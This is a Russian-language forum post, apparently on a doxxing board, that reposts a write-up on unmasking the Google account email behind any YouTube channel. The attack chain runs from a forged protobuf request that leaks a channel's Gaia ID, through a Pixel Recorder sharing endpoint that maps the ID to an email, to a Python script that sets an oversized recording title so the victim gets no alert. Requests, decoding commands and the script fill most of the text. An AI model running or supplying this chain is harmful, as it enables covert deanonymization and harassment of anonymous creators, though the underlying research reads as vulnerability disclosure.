Как узнать email любого владельца YouTube-канала

Специальный корреспондент
Собака

Собака

Пресс-служба
Ветеран пробива
Private Club
Регистрация
13/10/15
Сообщения
56.281
Репутация
63.950
Реакции
280.435
RUB
0
11533f05fceaf9ffbb5fe8208271f9f5.png

Некоторое время назад я копался в документе Google, и вдруг заметил кое-что интересное:

"BlockedTarget": {

"id": "BlockedTarget",

"description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",

"type": "object",

"properties": {

"profileId": {

"description": "Required. The obfuscated Gaia ID of the user targeted by the block.",

"type": "string"

},

"fallbackName": {

"description": "Required for BlockPeopleRequest. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: Required for BlockPeopleRequest (may not currently be enforced by validation, but should be provided) For UnblockPeopleRequest this does not need to be set.",

"type": "string"

}

}

},
Похоже, что функциональность блокировки пользователей Google‑wide была основана на каком‑то мутном Gaia ID, а также на отображаемом имени для этого заблокированного пользователя. Gaia ID — это просто идентификатор учётной записи Google

Вроде не критично. Но потом я вспомнил про

31812cf431fa101e3ce0e6fc13329fa2.png



Итак, если вы заблокируете кого‑то на YouTube, то можете раскрыть идентификатор его аккаунта Google? Я проверил. Зашёл на случайную трансляцию, заблокировал пользователя и, конечно же, он появился в

4fa34c56510bbb0362c21d81bd99490b.png

В качестве резервного имени было установлено название канала Mega Prime, а идентификатором профиля был замаскированный идентификатор Gaia 107 183 641 464 576 740 691

Это было очень странно, потому что YouTube никогда не должен раскрывать базовый Google аккаунт YouTube канала. В прошлом было несколько уязвимостей, позволяющих , поэтому я был уверен, что в каком‑то старом неизвестном продукте Google все ещё сохранились Gaia ID для электронной почты.

Эскалируем до 4 миллиардов каналов YouTube​

Итак, мы можем слить Gaia ID любого пользователя чата, но распространяется ли это на все каналы YouTube? Как оказалось, когда вы нажимаете на 3 точки, чтобы просто открыть контекстное меню, запускается запрос

bd9a40a55846454f9b48f5aad2d26951.png

Запрос

POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2

Host:

Cookie: <redacted>
Ответ

HTTP/2 200 OK

Content-Type: application/json; charset=UTF-8

Server: scaffolding on HTTPServer2

{

...

"serviceEndpoint": {

...

"commandMetadata": {

"webCommandMetadata": {

"sendPost": true,

"apiUrl": "/youtubei/v1/live_chat/moderate"

}

},

"moderateLiveChatEndpoint": {

"params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="

}

}

...

}
params — это не что иное, как закодированный в base64 protobuf, который является распространённым форматом кодирования, используемым в Google.

Если мы попробуем расшифровать эти параметры moderateLiveChatEndpoint:

$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64

-d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw

1 {

5 {

1: "UChs0pSaEoNLV4mevBFGaoKA"

2: "36YnV9STBqc"

}

}

10: 0

11: 1

12 {

1: "113907466537670370590"

2: "SE-aYOb-uCg059qHRis_ow"

}

14: 0
На самом деле он просто содержит Gaia ID пользователя, которого мы хотим заблокировать, то есть нам даже не нужно его окончательно блокировать!

Давайте также проверим параметры запроса get_item_context_menu:

$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw

3 {

5 {

1: "UChs0pSaEoNLV4mevBFGaoKA"

2: "36YnV9STBqc"

}

}

6 {

1: "UCSE-aYOb-uCg059qHRis_ow"

}
Кажется, здесь содержатся только идентификатор канала, который мы блокируем, идентификатор видео прямой трансляции и идентификатор автора прямой трансляции. Давайте попробуем подделать параметры запроса с идентификатором канала нашей цели.

Для теста мы будем использовать , поскольку он и гарантированно не содержит сообщений в чате.

$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64

R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
‎Тестирование на /youtubei/v1/live_chat/get_item_context_menu:

...

"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}

...

echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw

1 {

5 {

1: "UChs0pSaEoNLV4mevBFGaoKA"

2: "36YnV9STBqc"

}

}

10: 0

11: 1

12 {

1: "103261974221829892167"

2: "D2LZAT1j1DyVXq2R2BdusQ"

}

14: 0
Мы можем раскрыть Gaia ID канала — 103 261 974 221 829 892 167.

Недостающий элемент пазла: Pixel Recorder​

Я рассказал своему другу об раскрытии Gaia ID YouTube, и мы начали изучать старые забытые продукты Google, поскольку они, вероятно, содержали какую‑то ошибку или логический изъян для преобразования Gaia ID в электронную почту. был одним из них. Натан сделал тестовую запись на своём телефоне Pixel и синхронизировал её со аккаунтом Google, чтобы мы могли получить доступ к конечным точкам в интернете по адресу :

4e7810c6c423ac12b782329aa2928941.png

Когда мы попытались отправить запись на тестовую электронную почту, нас осенило:

Запрос

POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2

Host: pixelrecorder-pa.clients6.google.com

Cookie: <redacted>

Content-Length: 80

Authorization: <redacted>

X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro

Content-Type: application/json+protobuf

Referer:

["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]
Ответ

HTTP/2 200 OK

Content-Type: application/json+protobuf; charset=UTF-8

Server: ESF

Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"]]]
Эта конечная точка принимала зашифрованный идентификатор Gaia и... возвращала адрес электронной почты?!

Мы протестировали это с помощью замаскированного идентификатора Gaia 107 183 641 464 576 740 691, который получили, заблокировав этого пользователя на YouTube некоторое время назад. И это сработало:

HTTP/2 200 OK

Content-Type: application/json+protobuf; charset=UTF-8

Server: ESF

Content-Length: 138

["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"[email protected]"],[null,2,"[email protected]"]]]

Небольшая проблема: предотвращение уведомления жертвы​

Похоже, что всякий раз, когда мы делимся записью с жертвой, она получает электронное письмо, которое выглядит примерно так:

de7f406cef0c8374228ba198c134e072.png




Это плохо, и это значительно снизило бы значимость ошибки. Во всплывающем окне общего доступа, похоже, нет возможности отключить уведомления.

35bbbd977f63947fed31d45bb09158aa.png

Япопытался передать полный протокол запроса через свой инструмент , но там не было ничего об отключении уведомления по электронной почте:

syntax = "proto3";

package java.com.google.wireless.android.pixel.recorder.protos;

import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";

message WriteShareListRequest {

string recording_id = 1;

string delete_obfuscated_gaia_ids = 2;

ShareUser update_shared_users = 3;

string sharing_message = 4;

}

message ShareUser {

string obfuscated_gaia_id = 1;

java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;

string email = 3;

}
Даже попытка добавить и удалить пользователя одновременно не сработала, письмо всё равно отправлялось. И тогда мы поняли — в тему письма включается название нашей записи, возможно, если название нашей записи будет слишком длинным, письмо не получится отправить.

Мы написали быстрый скрипт на Python, чтобы это проверить:

import requests

BASE_URL = " "

headers = {

"Host": "pixelrecorder-pa.clients6.google.com",

"Content-Type": "application/json+protobuf",

"X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",

"Origin": " "

}

def get_recording_uuid(share_id: str):

payload = f"[\"{share_id}\"]"

response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)

if response.status_code != 200:

print("unknown error when getting recording uuid: ", response.json())

exit(1)

try:

response = response.json()

except:

print('can\'t parse response when getting recording uuid: ', response.text)

exit(1)

return response["recording"]["uuid"]

def update_recording_title(share_id: str):

x = 'X'*2500000 # 2.5 million char long title name!

payload = f'["{share_id}","{x}"]'

response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)

if response.status_code != 200:

print("unknown error when updating recording title: ", response.json())

exit(1)

def main():

share_id = input("Enter share ID: ")

headers["Cookie"] = input("Cookie header:" )

headers["Authorization"] = input("Authorization header: ")

uuid = get_recording_uuid(share_id)

print("UUID:", uuid)

update_recording_title(uuid)

print("Updated recording title successfully.")

if name == "main":

main()
.. и название записи теперь стало длиной в 2,5 миллиона букв! К счастью, со стороны сервера не было никаких ограничений на длину имени записи.

c31f8fccd1e5f4136615774e0af4a671.png

Мы попробовали поделиться записью с другим тестовым пользователем... бинго! Уведомление по электронной почте не пришло.

Резюмируем​

По сути, у нас есть полная цепочка атак, нам просто нужно собрать её воедино.

bd2d0887cfa624d97eaea5fd0c9e0b57.png

  1. Раскрыть замаскированного идентификатора Gaia канала YouTube из конечной точки Innertube/get_item_context_menu
  2. Поделиться записью Pixel с очень длинным именем, чтобы преобразовать идентификатор Gaia в email.
  3. Удалить цель из записи Pixel (очистка)
Вот так просто.








 
  • Теги
    ютуб
  • Назад
    Сверху Снизу